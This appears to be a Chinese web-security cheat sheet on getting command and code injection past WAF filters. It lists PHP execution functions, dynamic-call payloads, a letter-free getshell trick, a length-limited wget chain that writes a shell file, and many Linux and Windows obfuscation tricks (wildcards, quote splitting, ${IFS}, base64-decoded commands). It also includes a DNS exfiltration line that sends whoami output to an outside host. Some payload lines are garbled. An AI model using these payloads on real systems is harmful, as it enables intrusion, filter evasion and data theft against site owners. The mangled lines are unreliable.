[web安全]命令执行&&代码执行 wafpass总结
命令执行&&代码执行 wafpass总结
代码执行
php常见命令执行函数
php代码 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系统命令代码 system() passthru() exec() pcntl_exec()shell_exec() popen() proc_open() `` ob_start()
php的动态执行
cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag$e='sys'.'tem';$e('cat flag');
disable_function绕过
1.ld_preload2.php_gc
无字母getshell
取反~?code=(~�������)()//phpinfo()
限制输入字符数
>wget\>域名.\>com\>-O\>she\>ll.p\>pls -t>ash a
命令执行
linux中有查看功能的命令
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
windows
1. windows下 “和^和()不会影响命令执行2.切割字符 %a:~0,3% 代表变量a 0-3个字符eg. set a=asdfghj who$a:~0,1%mi <=> whoami
通配符
linux windows常见:* :0-多 ? :1[abc] :abc [a-c] :abc[^abc]:没有abc来了:cat f[abc]lagcat f[a-z]lagcat fla*
字符拼接
双引号:"w"h"o"a"m"i linux windows单引号: 'w'ho'am'ilinux反斜杠\: who\ami cat\flag linux重定向: cat<>flag cat<flag linux大括号: {cat,flag}linux变量:a=l;b=s;$a$b; linux变量:set a=di&&set b=r&& %a%%b% windows骚操作: 1.666`whoami`666 => bash: 666root666:未找到命令2.who`asd`am`sss`i => bash: ssd:未找到命令bash: sss:未找到命令root
变量
保留变量名 无意义变量$ 123456789${IFS} ${IFS}$9 cat${IFS}flaglinux
编码
echo d2hvYW1pCg== | base64 -d //执行whoami -d 意思是decode linuxwindows可以使用powershell base64
&,&&,|,||在windows和linux中的区别
&linux:后台运行 windows: 1 2 同时执行1&&2linux windows:1无错误运行2|linux windows:上一条命令的输出,作为下一条命令参数(输入)1||2linux windows:1有错误运行2
一句话反弹shel
DNS
curl xxxx.ceye.io/`whoami`
借他文之手来获取字符
借助已有的字符进行拼接
利用Linux的环境变量
echo ${PATH} => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binecho ${PATH:1:1} =>u
赞 (0)